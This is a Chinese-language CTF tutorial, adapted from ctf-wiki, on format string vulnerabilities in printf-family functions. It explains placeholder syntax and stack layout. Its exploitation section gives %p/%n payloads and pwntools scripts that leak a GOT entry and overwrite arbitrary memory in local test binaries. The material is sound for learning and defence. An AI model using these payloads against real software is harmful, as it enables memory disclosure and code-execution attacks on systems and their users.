目录
前言
格式化字符串(format string)是一些程序设计语言的输入/输出库中能将字符串参数转换为另一种形式输出的函数。例如C、C++等程序设计语言的printf类函数,其中的转换说明(conversion specification)用于把随后对应的0个或多个函数参数转换为相应的格式输出;格式化字符串中转换说明以外的其它字符原样输出。
一、简介
整理于https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-intro/
格式化字符串在利用的时候主要分为三个部分
- 格式化字符串函数
- 格式化字符串
- 后续参数,可选
例子:
1. 格式化字符串函数
- 输入
scanf - 输出
函数 | 基本介绍 |
---|---|
printf | 输出到 stdout |
fprintf | 输出到指定 FILE 流 |
vprintf | 根据参数列表格式化输出到 stdout |
vfprintf | 根据参数列表格式化输出到指定 FILE 流 |
sprintf | 输出到字符串 |
vsprintf | 根据参数列表格式化输出到字符串 |
setproctitle | 设置 argv |
syslog | 输出日志 |
… | … |
2. 格式化字符串
格式化占位符(format placeholder),语法是:
%[parameter][flags][field width][.precision][length]type
- Parameter可以忽略或者是:
字符 | 描述 |
---|---|
n$ | n是用这个格式说明符(specifier)显示第几个参数;这使得参数可以输出多次,使用多个格式说明符,以不同的顺序输出。 如果任意一个占位符使用了parameter,则其他所有占位符必须也使用parameter。这是POSIX扩展,不属于ISO C。 例:printf(“%2$d %2$#x; %1$d %1$#x”,16,17) ; 产生"17 0x11; 16 0x10" 的输出 |
-
Flags可为0个或多个:
字符 描述 + 总是表示有符号数值的’+‘或’-'号,缺省情况是忽略正数的符号。仅适用于数值类型。 空格 使得有符号数的输出如果没有正负号或者输出0个字符,则前缀1个空格。如果空格与’+'同时出现,则空格说明符被忽略。 - 左对齐。缺省情况是右对齐。 # 对于’g’与’G’,不删除尾部0以表示精度。对于’f’, ‘F’, ‘e’, ‘E’, ‘g’, ‘G’, 总是输出小数点。对于’o’, ‘x’, ‘X’, 在非0数值前分别输出前缀0, 0x, and 0X表示数制。 0 如果width选项前缀以0,则在左侧用0填充直至达到宽度要求。例如printf(“%2d”, 3)输出" 3",而printf(“%02d”, 3)输出"03"。如果0与-均出现,则0被忽略,即左对齐依然用空格填充。 -
Field Width
给出显示数值的最小宽度,典型用于制表输出时填充固定宽度的表目。
实际输出字符的个数不足域宽,则根据左对齐或右对齐进行填充。实际输出字符的个数超过域宽并不引起数值截断,而是显示全部。宽度值的前导0被解释为0填充标志,如上述;前导的负值被解释为其绝对值,负号解释为左对齐标志。如果域宽值为*,则由对应的函数参数的值为当前域宽。 -
Precision
通常指明输出的最大长度,依赖于特定的格式化类型。
对于d、i、u、x、o的整型数值,是指最小数字位数,不足的位要在左侧补0,如果超过也不截断,缺省值为1。对于a,A,e,E,f,F的浮点数值,是指小数点右边显示的数字位数,必要时四舍五入或补0;缺省值为6。对于g,G的浮点数值,是指有效数字的最大位数;缺省值为6。对于s的字符串类型,是指输出的字节的上限,超出限制的其它字符将被截断。如果域宽为*,则由对应的函数参数的值为当前域宽。如果仅给出了小数点,则域宽为0。 -
Length
指出浮点型参数或整型参数的长度。此项Microsoft称为“Size”。可以忽略,或者是下述:字符 描述 hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。 h 对于整数类型,printf期待一个从short提升的int尺寸的整型参数。 l 对于整数类型,printf期待一个long尺寸的整型参数。对于浮点类型,printf期待一个double尺寸的整型参数。对于字符串s类型,printf期待一个wchar_t指针参数。对于字符c类型,printf期待一个wint_t型的参数。 ll 对于整数类型,printf期待一个long long尺寸的整型参数。Microsoft也可以使用I64。 L 对于浮点类型,printf期待一个long double尺寸的整型参数。 z 对于整数类型,printf期待一个size_t尺寸的整型参数。 j 对于整数类型,printf期待一个intmax_t尺寸的整型参数。 t 对于整数类型,printf期待一个ptrdiff_t尺寸的整型参数。
此外,在ISO C99广泛接受前,还有几个平台相关的length选项:
字符 描述
I 对于有符号整数类型,printf期待一个ptrdiff_t尺寸的整型参数。对于无符号整数类型,printf期待一个size_t尺寸的整型参数。常见于Win32/Win64平台。
I32 对于整数类型,printf期待一个32位(双字)的整型参数。常见于Win32/Win64平台。
I64 对于整数类型,printf期待一个64位(四字)的整型参数。常见于Win32/Win64平台。
q 对于整数类型,printf期待一个64位(四字)的整型参数。常见于BSD平台。
- Type
也称转换说明(conversion specification/specifier),可以是:
字符 | 描述 |
---|---|
d, i | 有符号十进制数值int。‘%d’与’%i’对于输出是同义;但对于scanf()输入二者不同,其中%i在输入值有前缀0x或0时,分别表示16进制或8进制的值。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空。 |
u | 十进制unsigned int。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空。 |
x, X | 16进制unsigned int。'x’使用小写字母;'X’使用大写字母。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空。 |
o | 8进制unsigned int。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空。 |
s | 如果没有用l标志,输出null结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了l标志,则对应函数参数指向wchar_t型的数组,输出时把每个宽字符转化为多字节字符,相当于调用wcrtomb函数。 |
c | 如果没有用l标志,把int参数转为unsigned char型输出;如果用了l标志,把wint_t参数转为包含两个元素的wchart_t数组,其中第一个元素包含要输出的字符,第二个元素为null宽字符。 |
p | void *型 |
a, A | double型的16进制表示,“[−]0xh.hhhh p±d”。其中指数部分为10进制表示的形式。例如:1025.010输出为0x1.004000p+10。'a’使用小写字母,'A’使用大写字母。 |
n | 不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。 |
% | '%'字面值,不接受任何flags, width, precision or length。 |
字符 | 描述 |
---|---|
f, F | double型输出10进制定点表示。'f’与’F’差异是表示无穷与NaN时,‘f’输出’inf’, ‘infinity’与’nan’;‘F’输出’INF’, ‘INFINITY’与’NAN’。小数点后的数字位数等于精度,最后一位数字四舍五入。精度默认为6。如果精度为0且没有#标记,则不出现小数点。小数点左侧至少一位数字。 |
e, E | double值,输出形式为10进制的([-]d.ddd e[+/-]ddd). E版本使用的指数符号为E(而不是e)。指数部分至少包含2位数字,如果值为0,则指数部分为00。Windows系统,指数部分至少为3位数字,例如1.5e002,也可用Microsoft版的运行时函数_set_output_format 修改。小数点前存在1位数字。小数点后的数字位数等于精度。精度默认为6。如果精度为0且没有#标记,则不出现小数点。 |
g, G | double型数值,精度定义为全部有效数字位数。当指数部分在闭区间 [-4,5] 内,输出为定点形式;否则输出为指数浮点形式。'g’使用小写字母,'G’使用大写字母。小数点右侧的尾数0不被显示;显示小数点仅当输出的小数部分不为0。 |
3. 后续参数
宽度与精度格式化参数可以忽略,或者直接指定,或者用星号"*“表示取对应函数参数的值。例如printf(”%*d", 5, 10)输出" 10";printf(“%.*s”, 3, “abcdef”) 输出"abc"。
如果函数参数太少,不能匹配所有的格式参数说明符,或者函数参数的类型不匹配,将导致未定义(undefined)行为。过多的函数参数被忽略。许多时候,未定义的行为将导致格式化字符串攻击。
二、原理
在格式化字符串函数中,要被解析的参数的个数也自然是由这个格式化字符串所控制。比如说’%s’表明我们会输出一个字符串参数。
我们再继续上面的为例子
对于这样的例子,在进入 printf 函数的之前 (即还没有调用 printf),且在32位系统中,(printf的参数从右向左依次入栈),此时栈上的布局由高地址到低地址依次如下,
(high) |
---|
some value… |
3.14 |
123456 |
addr of “red” |
addr of format string: “Color %s xxx” |
ret_prev_addr |
(low) |
在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况
当前字符不是 %,直接输出到相应标准输出。
当前字符是 %, 继续读取下一个字符
如果没有字符,报错
如果下一个字符是 %, 输出 %
否则根据相应的字符,获取相应的参数,对其进行解析并输出
那么假设,此时我们在编写程序时候,写成了下面的样子
printf(format);
format字符串可以由用户自定义,那么就可以解析栈上的数据,从而达到泄漏
这里总结一下32位和64位的栈布局
32位:
(high) | |
---|---|
esp+20h | format_string |
esp+1Ch | ARG7 |
esp+18h | ARG6 |
esp+14h | ARG5 |
esp+10h | ARG4 |
esp+Ch | ARG3 |
esp+8h | ARG2 |
esp+4h | ARG1 |
esp | format_string_addr |
ret_addr | |
(low) |
64位:
参数先进寄存器,rdi->rsi->-rdx>rcx->r8->r9
从第七个参数开始入栈
格式化字符串地址放在RDI
(high) |
---|
… |
ARG10 |
ARG9 |
ARG8 |
ARG7 |
ret_addr |
(low) |
结果从调试图中也可以看出
三、利用
1. 泄露内存
a. 泄露栈内存
利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。
format = %08x.%08x.%08x.%08x.%08x
format = %p.%p.%p.%p.%p.%p.%p.%p
利用 %s 来获取变量所对应地址的内容,只不过有零截断。
利用 %n$x 来获取指定参数的值,利用 %n$s 来获取指定参数对应地址的内容。
b. 泄露任意地址内存
在格式化字符串漏洞中,漏洞点 printf 所读取的格式化字符串都是在栈上的 (因为是某个函数的局部变量,本例中 s 是 main 函数的局部变量) 。那么也就是说,在调用输出函数如 printf 的时候,printf函数的第一个参数,format就是该格式化字符串的地址。
那么由于我们可以控制该格式化字符串,如果我们知道该格式化字符串在输出函数调用时是第几个参数,这里假设该格式化字符串相对函数调用为第 k 个参数。那我们就可以通过如下的方式来获取某个指定地址 addr 的内容。padding用来对齐于机器字长(4/8字节)整数倍的地址处
[padding][addr]%k$s
注: 在这里,如果格式化字符串在栈上,那么我们就一定确定格式化字符串的相对偏移,这是因为在函数调用的时候栈指针至少低于格式化字符串地址 8 字节或者 16 字节。
8或16字节是 返回地址+格式化字符串地址 的字节数
下面就是如何确定该格式化字符串为第几个参数的问题了,我们可以通过如下方式确定
[tag]%p%p%p%p%p%p…
例子:
漏洞代码:
scanf("%s", s);
printf(s);
输入的s为: AAAA%p%p%p%p%p%p%p%
回显:AAAA0xffaab1600xc20xf76146bb0x41414141
区别一下:AAAA / 0xffaab160 / 0xc2 / 0xf76146bb / 0x41414141 / 0x70257025
由此可以看到,格式化字符串s存储在了栈上格式化字符串的第四个参数位置,也就是printf函数的第五个参数。(第一个参数自然是不读取的,因为是格式化字符串的地址)。
解决好这些问题,那么就可任意地址泄漏了
直接看脚本:
from pwn import *
sh = process('./leakmemory')
leakmemory = ELF('./leakmemory')
# got_addr
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
# addr%4$s 解析格式化字符串第四个参数
payload = p32(__isoc99_scanf_got) + b'%4$s'
gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil(b'%4$s\n')
# remove the first bytes of __isoc99_scanf@got
print hex(u32(sh.recv()[4:8]))
sh.interactive()
2. 覆盖
a. 覆盖栈内存
- 确定覆盖地址
如果能知道栈中某个变量的地址,即程序运行中能泄漏出来(aslr保护失效),那么即可进行覆盖 - 确定相对偏移
确定一下存储格式化字符串的地址是格式化字符串的第几个参数的偏移。
最终payload结构如下
[overwrite addr]....%[overwrite offset]$n
示例:
修改(int) c 的值为 16
[addr of c]%012d%6$n
[addr of c] 的长度为 4,故而我们得再输入 12 个字符才可以达到 16 个字符
b. 覆盖任意地址内存
接着上节
覆盖小数字
如何修改 data 段的变量(或者说已知地址的变量)为一个较小的数字?
当格式化字符串的为第 6 个参数。由于我们想要把 数据2(较小的数字) 写到对应的地址处,故而格式化字符串的前面的字节必须是
aa%k$nxx
此时对应的存储的格式化字符串已经占据了 6 个字符的位置,如果我们再添加两个字符 aa,那么其实 aa%k 就是第 6 个参数,$nxx 其实就是第 7 个参数,后面我们如果跟上我们要覆盖的地址,那就是第 8 个参数,所以如果我们这里设置 k 为 8,其实就可以覆盖该地址上的数据为2。
构造payload结构:为
payload = b’aa%8$naa’ + p32(data_addr)
覆盖大数字
我们知道,在 x86 和 x64 的体系结构中,变量的存储格式为以小端存储,即最低有效位存储在低地址。
如果向地址为 0x0804A028写入0x12345678
那么我们希望将按照如下方式进行覆盖,前面为覆盖地址,后面为覆盖内容。
0x0804A028 \x78
0x0804A029 \x56
0x0804A02a \x34
0x0804A02b \x12
由于我们的字符串的偏移为 6
故payload为:
p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3+'%8$n'+pad4+'%9$n'
脚本源自ctf-wiki
基本的构造如下
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr
def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
payload = fmt_str(6,4,0x0804A028,0x12345678)
其中每个参数的含义基本如下
offset 表示要覆盖的地址最初的偏移
size 表示机器字长
addr 表示将要覆盖的地址。
target 表示我们要覆盖为的目的变量值。
相应的 exploit 如下
def forb():
sh = process('./overwrite')
payload = fmt_str(6, 4, 0x0804A028, 0x12345678)
print payload
sh.sendline(payload)
print sh.recv()
sh.interactive()